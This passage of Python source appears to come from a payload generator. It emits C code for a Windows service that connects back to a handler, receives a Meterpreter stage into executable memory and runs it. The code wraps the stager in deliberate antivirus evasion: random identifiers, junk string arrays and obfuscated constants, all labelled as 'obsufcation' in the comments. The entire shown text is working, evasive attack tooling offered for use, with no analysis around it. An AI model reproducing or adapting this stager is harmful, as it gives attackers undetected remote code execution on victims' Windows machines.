%(hStatusName, serviceName) code += "if (%s == (SERVICE_STATUS_HANDLE)0) return;" %(hStatusName) code += "ServiceStatus.dwCurrentState = SERVICE_RUNNING;" code += "SetServiceStatus (%s, &ServiceStatus);" %(hStatusName) code += "while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {\n" # obsufcation - random variable names size_name = evasion_helpers.randomString() buffer_name = evasion_helpers.randomString() function_name = evasion_helpers.randomString() my_socket_name = evasion_helpers.randomString() count_name = evasion_helpers.randomString() # obsufcation - necessary declarations char_array_name_1 = evasion_helpers.randomString() number_of_strings_1 = random.randint(1,max_num_strings) char_array_name_2 = evasion_helpers.randomString() number_of_strings_2 = random.randint(1,max_num_strings) char_array_name_3 = evasion_helpers.randomString() number_of_strings_3 = random.randint(1,max_num_strings) # real - necessary declarations code += "ULONG32 %s;" %(size_name) code += "char * %s;" %(buffer_name) code += "int i;" code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) code += "void (*%s)();" %(function_name) # obsufcation - malloc our first string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length)) code += "%s();" %(winsock_init_name) code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name) # obsufcation - malloc our second string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length)) # real - receive the 4 byte size from the handler code += "int %s = recv(%s, (char *)&%s, %s, 0);" % (count_name, my_socket_name, size_name, evasion_helpers.obfuscateNum(4,2)) # real - punt the socket if something goes wrong code += "if (%s != %s || %s <= 0) %s(%s);" %(count_name, evasion_helpers.obfuscateNum(4,2), size_name, punt_name, my_socket_name) # real - virtual alloc space for the meterpreter .dll code += "%s = VirtualAlloc(0, %s + %s, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name, size_name, evasion_helpers.obfuscateNum(5,2)) # obsufcation - declare space for our 3 string obfuscation array code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) # obsufcation - first string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) # real - check if the buffer received is null, if so punt the socket code += "if (%s == NULL) %s(%s);" %(buffer_name, punt_name, my_socket_name) # real - prepend some buffer magic to push the socket number onto the stack code += "%s[0] = 0xBF;" %(buffer_name) # real- copy the 4 magic bytes into the buffer code += "memcpy(%s + 1, &%s, %s);" %(buffer_name, my_socket_name, evasion_helpers.obfuscateNum(4,2)) # obsufcation - malloc our third string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length)) # obsufcation - second string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) # real - receive all data from the socket code += "%s = %s(%s, %s + %s, %s);" %(count_name, recv_all_name, my_socket_name, buffer_name, evasion_helpers.obfuscateNum(5,2), size_name) code += "%s = (void (*)())%s;" %(function_name, buffer_name) code += "%s();" %(function_name) # obsufcation - third string obfuscation method (never called) code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) code += "} return; }\n" # service control handler code code += """void ControlHandler(DWORD request) { switch(request) { case SERVICE_CONTROL_STOP: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (%s, &ServiceStatus); return; case SERVICE_CONTROL_SHUTDOWN: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (%s, &ServiceStatus); return; default: break; } SetServiceStatus (%s, &ServiceStatus); return; } """ %(hStatusName, hStatusName, hStatusName) self.payload_source_code = code return